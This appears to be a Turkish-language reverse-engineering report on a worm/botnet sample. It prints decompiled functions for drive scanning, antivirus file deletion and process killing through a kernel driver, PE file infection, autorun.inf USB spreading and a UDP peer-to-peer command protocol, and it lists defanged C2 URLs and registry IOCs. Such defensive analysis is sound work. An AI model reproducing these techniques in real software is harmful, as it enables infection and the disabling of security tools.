pvVar1 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040dc61,(LPVOID)0x0,0,
&local_1010);
iVar4 = 0;
iVar2 = 0;
uStackY_2c = 0x40e515;
pvVar1 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040cac7,(LPVOID)0x0,0,
&local_1010);
Sleep(0x400);
local_1008 = 0x42;
while (local_1008 < 0x5a) {
iVar2 = 0;
uStackY_2c = 0x40e57b;
pvVar1 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040c910,&local_1008,0,
&local_1010);
local_1008 = local_1008 + 1;
}
Sleep(0x400);
FUN_0040c527((HKEY)0x80000001);
FUN_0040c527((HKEY)0x80000002);
do {
} while( true );
}
lpStartAddress_0040e3d1 fonksiyonu, sistem hazırlığı tamamlandıktan sonra devreye giren ve dosya sistemi ile registry odaklı ek worker thread’leri başlatan bir orkestratör iş parçacığıdır. Fonksiyon, SfcIsFileProtected API’sini dinamik olarak çözümleyerek Windows File Protection/System File Checker korumasını dikkate alan bir çalışma mantığı kullanır. Ardından ek yardımcı thread’ler başlatılmakta ve B: ile Y: arasındaki sürücü harfleri için ayrı iş parçacıkları oluşturulmaktadır. Bu davranış, zararlının birden fazla sürücü üzerinde tarama, kopyalama veya yayılım benzeri işlemler gerçekleştirebileceğine işaret eder. Fonksiyon ayrıca registry tarafında ek işlemler başlatarak yalnızca süreç enjeksiyonu ile sınırlı olmayan, daha geniş kapsamlı bir sistem etkileşimi sergilemektedir.
İncelenecek bir sonraki bileşen:
lpStartAddress_0040c910
Bu iş parçacığının analize dahil edilmesinin sebebi, doğrudan sürücü harflerini (A:, B:, C: vb.) parametre olarak kabul edip çalışmasıdır.
Bu durum, zararlının yerel sürücüler üzerindeki manipülasyon ve enfeksiyon faaliyetlerinin saptanmasını mümkün kılmaktadır.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/* lpStartAddress parameter of CreateThread
*/
void lpStartAddress_0040c910(undefined4 *param_1)
{
undefined4 uVar1;
UINT UVar2;
int iVar3;
undefined4 *puVar4;
CHAR local_1148;
CHAR local_1144;
undefined4 local_1143;
DWORD local_144;
undefined4 local_140 [73];
CHAR aCStackY_1c [4];
uVar1 = *param_1;
local_144 = 0;
puVar4 = local_140;
for (iVar3 = 0x4f; iVar3 != 0; iVar3 = iVar3 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + 1;
}
local_1144 = '\0';
puVar4 = &local_1143;
for (iVar3 = 0x3ff; iVar3 != 0; iVar3 = iVar3 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + 1;
*(undefined2 *)puVar4 = 0;
*(undefined1 *)((int)puVar4 + 2) = 0;
lstrcpyA(&local_1144,PTR_DAT_00481484);
local_1148 = (CHAR)uVar1;
local_1144 = local_1148;
UVar2 = GetDriveTypeA(&local_1144);
if (UVar2 != 5) {
aCStackY_1c[0] = -0x5c;
aCStackY_1c[1] = -0x37;
aCStackY_1c[2] = '@';
aCStackY_1c[3] = '\0';
}
/* WARNING: Subroutine does not return */
ExitThread(0);
}
lpStartAddress_0040c910 fonksiyonu, ayrı bir thread içerisinde kendisine parametre olarak verilen sürücü harfini işleyerek ilgili sürücünün türünü GetDriveTypeA ile kontrol etmektedir. CD-ROM sürücüler (DRIVE_CDROM) hariç tutularak diğer sürücüler üzerinde FUN_0040bac3 fonksiyonu çağrılmaktadır. Bu davranış, zararlının birden fazla sürücü üzerinde dosya sistemi taraması, hedef arama veya yayılım amaçlı işlemler gerçekleştirebileceğini gösterir. Özellikle çıkarılabilir diskler, yerel sürücüler ve ağ sürücüleri üzerinde çalışabilecek şekilde tasarlanmış olması, zararlının yalnızca süreç enjeksiyonu ile sınırlı kalmadığını, dosya sistemi temelli ek yayılım veya keşif yeteneklerine de sahip olabileceğini düşündürmektedir.
Sıradaki aşamada FUN_0040bac3 fonksiyonu incelenmiştir:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
undefined4 __cdecl FUN_0040bac3(int param_1,LPSTR param_2,char param_3,LPWIN32_FIND_DATAA param_4)
{
char *pcVar1;
HANDLE hFindFile;
BOOL BVar2;
uint uVar3;
int iVar4;
int iVar5;
undefined4 *puVar6;
uint local_428;
CHAR local_420;
undefined4 local_41f;
int local_20;
undefined1 *local_1c;
void *local_14;
undefined *puStack_10;
undefined *puStack_c;
undefined4 local_8;
puStack_c = &DAT_00480230;
puStack_10 = &DAT_004134f0;
local_14 = ExceptionList;
local_1c = &stack0xfffffbc4;
local_420 = '\0';
puVar6 = &local_41f;
for (iVar4 = 0xff; iVar4 != 0; iVar4 = iVar4 + -1) {
*puVar6 = 0;
puVar6 = puVar6 + 1;
}
*(undefined2 *)puVar6 = 0;
*(undefined1 *)((int)puVar6 + 2) = 0;
local_428 = 0;
local_20 = 0;
local_8 = 0;
ExceptionList = &local_14;
Sleep((-(uint)(param_3 != '\0') & 0x800) + 0x800);
if (param_2[param_1 + -1] != '\\') {
lstrcatA(param_2,(LPCSTR)&lpString2_0048566c);
param_1 = param_1 + 1;
}
lstrcpyA(&local_420,param_2);
CharLowerA(&local_420);
pcVar1 = FUN_004042a8(&local_420,(char *)&lpsz_004140d4);
if (pcVar1 == (char *)0x0) {
lstrcatA(param_2,(LPCSTR)&lpString2_00485670);
hFindFile = FindFirstFileA(param_2,param_4);
if (hFindFile != (HANDLE)0xffffffff) {
while (BVar2 = FindNextFileA(hFindFile,param_4), BVar2 != 0) {
if (param_4->cFileName[0] != '.') {
if (param_4->cFileName[0] == '\0') break;
if (100 < local_428) {
local_428 = 0;
Sleep((-(uint)(param_3 != '\0') & 0x400) + 0xc00);
}
iVar4 = lstrlenA(param_4->cFileName);
if ((uint)(param_1 + iVar4) < 0xfb) {
param_2[param_1] = '\0';
lstrcatA(param_2,param_4->cFileName);
local_20 = lstrlenA(param_2);
local_20 = local_20 + -4;
CharUpperA(param_4->cFileName);
iVar4 = lstrlenA(param_4->cFileName);
if ((2 < iVar4) &&
((iVar4 = lstrcmpiA(param_2 + local_20,PTR_DAT_004815fc), iVar4 == 0 ||
(iVar4 = lstrcmpiA(param_2 + local_20,PTR_DAT_00481600), iVar4 == 0)))) {
for (local_20 = 0; *(&PTR_s_AVPM._00481a50)[local_20] != '\0'; local_20 = local_20 + 1
) {
pcVar1 = FUN_004042a8(param_4->cFileName,(&PTR_s_AVPM._00481a50)[local_20]);
if (pcVar1 != (char *)0x0) {
FUN_00405704(param_2,0);
}
}
FUN_00409668(param_2,0,(SIZE_T *)0x0);
}
param_2[param_1] = '\0';
if (((param_4->dwFileAttributes & 0x10) != 0) && (param_4->cFileName[0] != '.')) {
lstrcpyA(param_2 + param_1,param_4->cFileName);
uVar3 = lstrlenA(param_4->cFileName);
iVar5 = param_1 + (uVar3 & 0xffff);
iVar4 = lstrcmpiA(param_4->cFileName,PTR_s_SYSTEM_0048158c);
if (iVar4 != 0) {
FUN_0040bac3(iVar5,param_2,param_3,param_4);
}
param_1 = iVar5 - (uVar3 & 0xffff);
param_2[param_1] = '\0';
}
local_428 = local_428 + 1;
}
else {
local_428 = local_428 + 1;
}
}
}
}
local_8 = 0xffffffff;
if (hFindFile != (HANDLE)0x0) {
FindClose(hFindFile);
}
Sleep(0x400);
}
ExceptionList = local_14;
return 0;
}
FUN_0040bac3 fonksiyonu, verilen yol üzerinden recursive biçimde dizin gezen bir dosya sistemi tarama rutinidir. Fonksiyon, FindFirstFileA ve FindNextFileA kullanarak alt dizinlere inmekte, belirli uzantılara sahip dosyaları seçmekte ve gömülü isim/desen listeleriyle eşleşme kontrolü yapmaktadır. Eşleşen dosyalar üzerinde ek işlemler için FUN_00405704 ve FUN_00409668 fonksiyonları çağrılmaktadır. Ayrıca alt dizinlerin recursive biçimde işlenmesi ve CD-ROM dışındaki sürücüler üzerinde çalışması, örneğin yerel, çıkarılabilir ve ağ sürücülerinde dosya temelli tarama veya yayılım davranışıyla uyumludur.
Yapılan eşleşme kontrolünün AV detection amaçlı olduğunu yukarıda okuduğumuz stringler sayesinde tahmin edebiliyoruz.
FUN_00405704
1
2
3
4
5
6
7
8
9
10
11
undefined4 __cdecl FUN_00405704(LPCSTR param_1,int param_2)
{
uint uVar1;
if ((param_2 != 0) || (uVar1 = FUN_00409668(param_1,2,(SIZE_T *)0x0), uVar1 == 0)) {
SetFileAttributesA(param_1,0x20);
DeleteFileA(param_1);
}
return 0;
}
FUN_00405704 fonksiyonu, belirli dosya adı/desen eşleşmeleri (örneğin antivirüs veya güvenlik yazılımlarına ait dosyalar) tespit edildiğinde çağrılmakta ve bu dosyaları doğrudan silmeye yönelik bir davranış sergilemektedir. Fonksiyon, dosyanın özniteliklerini FILE_ATTRIBUTE_NORMAL olarak ayarlayarak olası koruma bayraklarını kaldırmakta ve ardından DeleteFileA ile dosyayı sistemden kaldırmaktadır. Ek olarak, silme işleminden önce FUN_00409668 fonksiyonu ile alternatif bir işlem denemesi yapılmakta, bu işlem başarısız olduğunda dosya silinmektedir. Bu davranış, zararlının güvenlik yazılımlarını hedef alarak sistem üzerindeki savunma mekanizmalarını devre dışı bırakmaya yönelik aktif bir strateji izlediğini gösterir.
FUN_00409668
İlgili analiz kesiti aşağıda görsel ve açıklamalı olarak sunulmuştur:
FUN_00409668 fonksiyonu, hedef dosyayı açarak memory-mapped erişim üzerinden analiz eden ve yalnızca PE formatındaki yürütülebilir dosyalar üzerinde çalışan bir enfeksiyon rutinidir. Fonksiyon, PE header ve section bilgilerini inceleyerek uygun hedefleri belirlemekte, ardından dosya içerisine kendi kodunu enjekte etmek üzere yeni veri blokları ve stub kod üretmektedir. Bu süreçte CreateFileMapping, MapViewOfFile ve doğrudan bellek manipülasyonu kullanılarak dosya içeriği yeniden düzenlenmekte, gerekli durumlarda dosya boyutu artırılmakta ve payload eklenmektedir. Ayrıca CreateFileA, GetProcAddress gibi API referanslarının analiz edilmesi, zararlının API seviyesinde kontrol akışı manipülasyonu gerçekleştirebileceğine işaret eder. Enfeksiyon sonrası dosya zaman damgalarının geri yüklenmesi, yapılan değişikliklerin gizlenmesine yönelik bir anti-forensic davranış olarak değerlendirilebilir.
lpStartAddress_0040dc61
lpStartAddress_0040dc61 fonksiyonunun analizi:
lpStartAddress_0040dc61 fonksiyonu, çıkarılabilir ve yerel sürücüler üzerinde yayılım gerçekleştiren bir worm bileşeni olarak işlev görmektedir. Fonksiyon, sistemdeki tüm sürücüleri enumerate ederek CD-ROM dışındaki sürücüler üzerinde işlem yapmakta, mevcut autorun.inf dosyalarını analiz etmekte ve gerektiğinde silerek yeniden oluşturmaktadır. Yeni oluşturulan autorun.inf dosyası içerisine zararlının çalıştırılmasını sağlayan shell\open\command girdileri eklenmekte, ardından dosya gizli ve sistem öznitelikleri ile işaretlenmektedir. Ek olarak, zararlı kendi yürütülebilir kopyasını hedef sürücüye bırakmakta ve böylece çıkarılabilir medya aracılığıyla diğer sistemlere bulaşma yeteneği kazanmaktadır. Bu davranış, klasik autorun tabanlı USB yayılım mekanizmasına işaret eder.
FUN_004050fc
FUN_004050fc, sistemde çalışan süreçleri enumerate ederek belirli isim desenleriyle eşleşen süreçleri ve ek bir kontrol fonksiyonu (FUN_00405003) tarafından hedef olarak işaretlenen PID’leri tespit etmektedir. Eşleşen süreçler için FUN_00404f7c fonksiyonu çağrılarak ayrı bir müdahale mekanizması devreye alınmaktadır. Bu davranış, zararlının yalnızca servisleri ve dosyaları değil, çalışan güvenlik süreçlerini de aktif biçimde hedef aldığını gösterir.
Müteakip aşamada FUN_00404f7c fonksiyonu incelendiğinde sıradışı bir davranış kalıbıyla karşılaşılmaktadır.
İlgili bileşeni yürüten ve AV tespiti/atlatması (bypass) için kullanılan fonksiyon tespit edilmiştir.
FUN_00404f7c fonksiyonu, hedef süreçleri sonlandırmak için iki aşamalı bir mekanizma kullanmaktadır. Öncelikle \\.\amsint32 isimli bir device üzerinden bir kernel-mode bileşenle iletişim kurulmaya çalışılmakta ve hedef PID bu bileşene iletilmektedir. Bu durum, zararlının kernel seviyesinde çalışan bir driver aracılığıyla süreç sonlandırma gerçekleştirebildiğini gösterir. Eğer bu device erişilemez ise, fonksiyon fallback olarak OpenProcess ve TerminateProcess API’lerini kullanarak hedef süreci user-mode seviyesinde sonlandırmaktadır. Bu yaklaşım, zararlının güvenlik yazılımlarını hem user-mode hem de kernel-mode seviyesinde etkisiz hale getirmeye çalıştığını ortaya koyar.
Elde edilen tüm bulgular zararlının işlevlerini aşamalı olarak açığa çıkarmaktadır.
Sıradaki inceleme hedefi:
Komuta - Kontrol (C2) Hattı
lpStartAddress_004038bb fonksiyonu, UDP tabanlı bir ağ dinleme (listener) thread’i olarak çalışmaktadır. Fonksiyon, bir UDP socket oluşturmakta, sabit bir port numarasına bind olmakta ve recvfrom aracılığıyla gelen paketleri beklemektedir. Paket alındığında, veri tamponu ve gönderen adres bilgisi ayrı bir worker thread’e (lpStartAddress_004034de) aktarılmaktadır. Bu yapı, örneğin yalnızca yerel yayılım ve dosya enfeksiyonu ile sınırlı olmadığını, aynı zamanda ağ üzerinden komut kabul edebilen bir UDP tabanlı kontrol mekanizması içerdiğini gösterir.
lpStartAddress_004034de
lpStartAddress_004034de fonksiyonu, UDP listener thread’i tarafından alınan paketleri işleyen komut ayrıştırıcı (command handler) bileşenidir. Fonksiyon, alınan veri üzerinde uzunluk, bütünlük ve sürüm/tip doğrulaması gerçekleştirdikten sonra paket tipine göre farklı işlem yollarına ayrılmaktadır. İncelenen örnekte en az üç ayrı komut tipi (0x01, 0x02, 0x03) desteklenmekte ve bu komutlara karşılık sendto aracılığıyla farklı yanıt paketleri üretilmektedir. Bazı komutlar yalnızca durum/yanıt üretirken, bazıları ek yardımcı fonksiyonları tetiklemekte ve pakete gömülü özel işaretçi değerlere göre farklı işleme yollarına ayrılmaktadır. Bu yapı, zararlının UDP tabanlı hafif bir komut-kontrol protokolü kullandığını ve ağ üzerinden alınan paketlere göre davranış değiştirebildiğini gösterir.
Yanıt paketini oluşturan FUN_004026ed fonksiyonu analize dahil edilmiştir.
FUN_004026ed fonksiyonu, zararlının UDP tabanlı komut-kontrol iletişiminde kullandığı cevap paketlerini oluşturmaktadır. Fonksiyon, paket başlığına sürüm/tip alanı, uzunluk bilgisi ve bütünlük kontrolü amacıyla hesaplanan bir doğrulama değeri eklemekte, ardından paketi ek bir encode/obfuscation adımından geçirmektedir. İncelenen farklı cevap tiplerinde; başarı yanıtı (OK), rastgele/session benzeri 4 baytlık değerler, küçük sabit boyutlu veri yapıları ve ayrıca 0x80 baytlık sabit veri ile değişken uzunluklu bir veri bloğunu içeren daha zengin içerikler gözlenmiştir. Bu durum, zararlının komutlara yalnızca basit ACK/NACK cevapları vermediğini, aynı zamanda yapılandırılmış durum veya veri içeriğini de C2 tarafına iletebildiğini gösterir.
0x02 parametresinin içeriğini doldurduğu değerlendirilen FUN_004022c6 fonksiyonu analize dahil edilmiştir.
FUN_004022c6 fonksiyonu, zararlının C2 iletişiminde kullanılan veri üretim mekanizmasına ait bir wrapper görevi görmektedir. Fonksiyon, bir context oluşturduktan sonra FUN_0040f210 fonksiyonu aracılığıyla sistemden veri toplayarak verilen buffer’a yazmakta ve ardından ilgili kaynakları serbest bırakmaktadır. Bu yapı, zararlının belirli komutlar (özellikle 0x02) karşılığında sistemle ilgili bilgileri toplayarak C2 tarafına ilettiğini gösterir.
FUN_0040f210
FUN_0040f210 fonksiyonu, zararlının dahili veri yapısı içerisinde tutulan kayıtları filtreleyerek C2 iletişiminde kullanılmak üzere tekil bir kayıt seçmektedir. Fonksiyon, belirli koşulları sağlayan girdilerin kimlik değerlerini geçici bir listeye almakta, ardından bu girdiler arasından pseudo-random bir seçim yaparak ilgili kaydın tamamını 0x14 baytlık bir blok halinde çıktı buffer’ına kopyalamaktadır. Bu davranış, zararlının C2 tarafına her seferinde tüm veri kümesini değil, seçilmiş tekil kayıtları ilettiğini ve iletişim protokolünde kayıt/peer/görev benzeri yapılandırılmış veriler kullandığını gösterir.
C2 iletişimi analiz edilirken, gönderilen paket içeriğinin kaynağını belirlemek amacıyla ters akış (data flow) analizi uygulanmıştır. sendto çağrısından geriye doğru gidilerek paket oluşturma fonksiyonu (FUN_004026ed), veri üretim fonksiyonu (FUN_0040f210) ve son olarak veri kaynağını yöneten fonksiyon (FUN_0040ef70) tespit edilmiştir. Bu yaklaşım sayesinde zararlının C2’ye gönderdiği verinin statik sistem bilgileri değil, dinamik olarak tutulan bir kayıt/peer tablosundan seçildiği ortaya konulmuştur.
FUN_0040ef70
FUN_0040ef70 fonksiyonu, zararlının dahili olarak tuttuğu ve maksimum 1000 girdiden oluşan bir kayıt tablosunu yönetmektedir. Her kayıt; bir kimlik değeri, port bilgisi, ek parametre alanları ve zaman damgası içermektedir. Fonksiyon, mevcut kayıtları güncelleyebilmekte, boş slotlara yeni kayıt ekleyebilmekte ve tablo dolu olduğunda en az öncelikli girdiyi yeni veri ile değiştirmektedir. Bu yapı, zararlının ağ üzerinde keşfettiği veya etkileşimde bulunduğu sistemleri bir liste halinde tutarak daha sonra C2 iletişiminde kullanmak üzere organize ettiğini gösterir.
lpStartAddress_00403aef
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
/* lpStartAddress parameter of CreateThread
*/
void lpStartAddress_00403aef(undefined1 *param_1)
{
u_short uVar1;
DWORD DVar2;
int iVar3;
undefined4 *puVar4;
sockaddr local_10a0;
undefined1 *local_1090;
int local_1088;
undefined1 local_1084;
undefined4 local_1083;
undefined4 uStackY_18;
local_1090 = param_1;
local_1084 = 0;
puVar4 = &local_1083;
local_1084 = 0;
puVar4 = &local_1083;
for (iVar3 = 0x41f; iVar3 != 0; iVar3 = iVar3 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + 1;
}
*(undefined2 *)puVar4 = 0;
*(undefined1 *)((int)puVar4 + 2) = 0;
local_1088 = 0;
InterlockedIncrement((LONG *)&lpAddend_004140c0);
local_10a0.sa_data[0] = '\0';
local_10a0.sa_data[1] = '\0';
local_10a0.sa_data[3] = '\0';
local_10a0.sa_data[4] = '\0';
local_10a0.sa_data[5] = '\0';
local_10a0.sa_data[6] = '\0';
local_10a0.sa_data[7] = '\0';
local_10a0.sa_data[8] = '\0';
local_10a0.sa_data[9] = '\0';
local_10a0.sa_data[10] = '\0';
local_10a0.sa_data[0xb] = '\0';
local_10a0.sa_data[0xc] = '\0';
local_10a0.sa_data[0xd] = '\0';
local_108c = 0;
local_10a0.sa_family = 2;
uVar1 = htons(*(u_short *)(local_1090 + 4));
local_10a0.sa_data._0_2_ = uVar1;
uStackY_18 = 0x403ba2;
uStackY_18 = 0x403bba;
uStackY_18 = 0x403bba;
iVar3 = FUN_00402f48(&local_10a0,(undefined1 *)&local_108c,0);
if (iVar3 == 0) {
if (0x32 < DAT_004140c8) {
*(int *)(local_1090 + 0xc) = *(int *)(local_1090 + 0xc) + -1;
}
*(undefined4 *)(local_1090 + 0x10) = 0;
}
else {
*(int *)(local_1090 + 0xc) = *(int *)(local_1090 + 0xc) + 1;
DVar2 = GetTickCount();
*(DWORD *)(local_1090 + 0x10) = DVar2;
if (local_108c < DAT_00475c58) {
FUN_00402f48(&local_10a0,(undefined1 *)&local_108c,1);
}
if (DAT_004140c4 == 0) {
local_1088 = FUN_00403284(&local_10a0);
if (local_1088 == 0) {
}
}
if (DAT_004140c8 < 0x3d4) {
FUN_00402ca2(&local_10a0);
}
}
InterlockedDecrement((LONG *)&lpAddend_004140c0);
/* WARNING: Subroutine does not return */
ExitThread(0);
}
Kayıt tablosundaki bir peer/target girdisini alıp ona UDP üzerinden aktif temas kuran worker thread
Fonksiyonun özet davranışı:
- entry içinden IP + port çıkarıyor
sockaddrhazırlıyorFUN_00402f48(...)prosedürü üzerinden belirlenen hedef adrese aktif bir ağ paketi iletiyor- sonuca göre kaydı güncelliyor
- gerekirse ek fonksiyonlar çağırıyor
Bu bulgu, zararlının salt ‘dinleyici’ (passive) modda kalmadığını; hedef listesindeki diğer istemcilere aktif bağlantı kuran (active peer) bir yapıda olduğunu doğrulamaktadır.
Fonksiyonun Aşama Aşama Analizi
param_1 ve param_2 İfadelerinin Analizi
İlgili fonksiyon dahilindeki önemli kod satırları aşağıdadır:
1
2
3
uVar1 = htons(*(u_short *)(local_1090 + 4));
local_10a0.sa_data._0_2_ = uVar1;
FUN_00412bab(local_10a0.sa_data + 2, local_1090, 4);
Bu kod parçasının anlamı:
local_1090
Bu, FUN_0040ef70 ile tutulan entry’nin pointer’ı.
İlk 4 byte
1
FUN_00412bab(..., local_1090, 4);
→ sockaddr.sa_data + 2 içine kopyalanıyor
Bu:
IPv4 adresi
+4 offset’teki ushort
1
*(u_short *)(local_1090 + 4)
→ htons(…)
Bu da:
port
lpStartAddress_00403aef fonksiyonu, zararlının dahili kayıt tablosunda tuttuğu girdileri aktif olarak işleyen peer-worker thread’idir. Fonksiyon, kayıt yapısının ilk 4 baytını IPv4 adresi, devamındaki 2 baytı ise port bilgisi olarak kullanarak bir sockaddr yapısı oluşturmaktadır. Ardından ilgili hedefe yönelik ağ işlemleri (FUN_00402f48) gerçekleştirilmekte, başarılı iletişim halinde kayıt sayacı ve zaman damgası güncellenmekte, başarısızlık halinde ise kayıt puanı düşürülmektedir. Bu davranış, zararlının yalnızca gelen UDP komutlarını dinleyen pasif bir arka kapı olmadığını, aynı zamanda tuttuğu peer/host listesine karşı aktif ağ etkileşimleri yürüten bir yapıya sahip olduğunu gösterir.
String analizleri üzerinden C2 bağlantılarını tetikleyen fonksiyon araştırması yapılmıştır.
Analizler çerçevesinde ilgili sample içinde gömülü payload görünmemektedir.
İlgili C2’lerden .gif uzantılı içerik indirilmesi, ikinci aşama yükün sıradan bir medya dosyası gibi gösterilmeye çalışıldığını düşündürmektedir. Ancak aktif içerik elde edilmeden steganografi kullanıldığı sonucuna doğrudan varılamaz; bu aşamada daha savunulabilir yorum uzantı maskeleme (extension masquerading) yönündedir.
C2 sunucuları aktif olmadığından analiz süreci bu bulgu ile tamamlanmıştır.
1. Özet ve Sonuç Değerlendirmesi
Analiz edilen örneklerde, HTTP tabanlı komut/konfigürasyon alma, UDP tabanlı eşler arası (P2P) haberleşme, güvenlik ürünlerini hedef alan süreç sonlandırma davranışları ve çalışma anında hazırlanan payload/config verisi gözlenmiştir.
İncelenen örnek seti, doğrudan veri hırsızlığı yapan nihai payload’dan ziyade dağıtım, enfeksiyon, süreç enjeksiyonu ve ağ iletişimi işlevlerini öne çıkaran ara bileşenlerden oluşmaktadır. Bu nedenle genel mimari, modüler ve çok aşamalı bir botnet/enfeksiyon altyapısı olarak değerlendirilebilir.
2. Mimari Genel Bakış
Zararlı aşağıdaki temel bileşenlerden oluşmaktadır:
2.1 HTTP C2 Katmanı
- Yapılandırma ve komut verisi alma
- Görünüm olarak “.gif” uzantılı endpointler üzerinden veri çekme
2.2 UDP P2P Katmanı
- Peer discovery (diğer düğümleri bulma)
- Komut ve yapılandırma yayılımı
2.3 AV/EDR Engelleme Mekanizması
- Güvenlik yazılımlarına ait süreçlerin sonlandırılması
- Kernel seviyesinde sürücü etkileşimi
2.4 Dosya Temizleme ve Anti-Forensic
- Geçici dosyaların silinmesi
- Analiz ve iz bırakmayı zorlaştıran davranışlar
3. Indicator of Compromise (IOC)
3.1 C2 URL’leri
Aşağıdaki URL’ler zararlı içerisinde gömülü olarak bulunmaktadır:
hxxp://89[.]119.67.154/testo5/hxxp://kukutrustnet777[.]info/home.gifhxxp://kukutrustnet888[.]info/home.gifhxxp://kukutrustnet987[.]info/home.gifhxxp://kukutrustnet777888[.]info/hxxp://www[.]klkjwre9fqwieluoi.info/Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30731)
Bu URL’ler yapılandırma ve/veya ikinci aşama veri dağıtımı için kullanılmaktadır.
3.2 Kernel / Dosya Sistemi Göstergeleri
Hedeflenen / Oluşturulan Dosyalar:
C:\Windows\System32\drivers\amsint32.sys(Zararlının diske bıraktığı ve çekirdek modunda çalışan ana sürücü dosyası)[Sürücü_Harfi]:\autorun.inf(ÖrneğinD:\autorun.inf- çıkarılabilir ağ veya yerel sürücülere yayılım ve otomatik başlatma tetikleyicisi)
Cihaz (Device) Nesneleri / Sembolik Linkler:
\Device\amsint32\DosDevices\amsint32\\.\amsint32(Kullanıcı modunda Anti-Virüs süreçlerini sonlandırmak için çağrılan aygıt yolu)\Device\IPFILTERDRIVER(P2P/Yönlendirme sürücüsünün IOCTL gönderdiği diğer tetikleyici/legit maskeli sürücü yolu)
Bu göstergeler, zararlının kernel seviyesinde ek bileşenler kullandığını ve disk üzerinde .sys ile .inf artefact’ları bıraktığını gösterir.
3.3 Davranışsal Göstergeler
- Zararlı, hedeflediği süreçlerin daha önce enfekte edilip edilmediğini anlamak için süreç PID’sini kullanarak
s_M_%d(örneğins_M_1234) formatında dinamik mutex’ler oluşturmaktadır.
3.4 Ağ Davranışı
- UDP tabanlı özel protokol
- HTTP üzerinden yapılandırma alma
- Dağıtık iletişim modeli
4. Fonksiyonel Analiz
4.1 Dosya Silme Fonksiyonu: FUN_00405704
- Dosya özniteliklerini değiştirir
- Dosyayı siler
Amaç:
- İzleri temizlemek
- Analiz ortamını bozmak
4.2 Geçici Dizin Tarama: lpStartAddress_0040578b
- %TEMP% dizinini tarar
- Belirli uzantıları hedef alır
- Recursive tarama yapar
Amaç:
- Anti-analysis
- Gereksiz veya riskli dosyaları kaldırmak
4.3 AV Süreç Sonlandırma: FUN_004050fc
- Sistem süreçlerini enumerate eder
- AV/EDR süreç isimleri ile karşılaştırır
- Eşleşme durumunda hedef süreci sonlandırır
4.4 Kernel / Driver Etkileşimli Kill: FUN_00404f7c
- Başarılıysa kernel üzerinden işlem gerçekleştirir
- Aksi durumda kullanıcı modunda
TerminateProcessçağırır
4.5 Thread Yönetimi: lpStartAddress_00401189
- Thread handle’larını izler
- Senkronizasyon ve görev yönetimi sağlar
4.6 Polimorfik Dosya Enfeksiyonu: FUN_00409668
- PE formatındaki yürütülebilir dosyaları memory-mapped erişim ile açarak analiz eder
CreateFileMappingveMapViewOfFileile uygun hedeflere kendi kodunu enjekte eder- yeni section açma ve stub kod üretimiyle polimorfik enfeksiyon gerçekleştirir
5. UDP Tabanlı P2P İletişim
5.1 Listener: lpStartAddress_004038bb
- UDP socket oluşturur
- Belirli bir porta bind eder
- Gelen paketleri dinler
5.2 Paket İşleme: lpStartAddress_004034de
- Gelen veriyi parse eder
- Checksum doğrular
- Komut türüne göre işlem yapar
5.3 Paket Oluşturma: FUN_004026ed
Özel protokol oluşturur. Desteklenen komut türleri:
0x01: Sistem bilgisi0x02: Peer discovery0x03: Kontrol / keepalive#/$: Config dağıtımı
5.4 Ağ İletişim Fonksiyonu: FUN_00402f48
- UDP üzerinden veri gönderir
- select() ile cevap bekler
- Gelen cevabı parse eder
Bu fonksiyon C2 handshake sürecinin temelini oluşturur.
6. Peer Yönetimi
6.1 Peer Tablosu: FUN_0040ef70
- IP ve port bilgilerini saklar
- Zaman damgası ile birlikte tutar
- Maksimum 1000 node destekler
6.2 Peer Seçimi: FUN_0040f210
- Rastgele peer seçimi yapar
- Veri iletimi için uygun node belirler
7. HTTP C2 ve Yapılandırma Mekanizması
7.1 Kullanılan API’ler
InternetOpenAInternetOpenUrlAInternetReadFile
7.2 Önemli Fonksiyon: FUN_00402341
Bu fonksiyon:
- HTTP cevabını alır
- Decode/validate işlemi yapar
- İçerisindeki “http” stringlerini tespit eder
- Yapılandırmayı global alana yazar
7.3 Global Yapılandırma Alanı: DAT_00475c64
İçeriği:
- URL listesi
- yapılandırma parametreleri
- potansiyel ikinci aşama verisi
8. Sistem Bilgisi Toplama
Kullanılan API’ler:
GetComputerNameAGetUserNameAGetVersionExAGetLogicalDrives
Toplanan bilgiler:
- Sistem adı
- Kullanıcı adı
- İşletim sistemi bilgisi
- Disk yapısı
9. Persistence Mekanizmaları
9.1 Registry Kullanımı (Kayıt Defteri)
Zararlı yazılımın sistem ayarlarını manipüle etmek ve kalıcılık sağlamak adına başvurduğu Kayıt Defteri anahtarları (Registry Keys):
HKCU\Software\Microsoft\Windows\CurrentVersion\Run(Sistem her başlatıldığında zararlının otomatik çalışmasını sağlayan kalıcılık anahtarı)HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal(Analiz veya kurtarma girişimlerini engellemek için Güvenli Mod yapılandırmasının silinmesi)HKLM\System\CurrentControlSet\Control\SafeBoot\Network(Ağ destekli Güvenli Mod yapılandırmasının silinmesi)HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced(Gizli dosyaların gösterimini kapatarak zararlı bileşenlerin kullanıcıdan saklanması)
9.2 Autorun
autorun.infoluşturma ve sürücü (B:,C:,D:vb.) kök dizinlerine yerleştirme.
9.3 Diğer
- Servis manipülasyonu
- Firewall ayarlarının değiştirilmesi
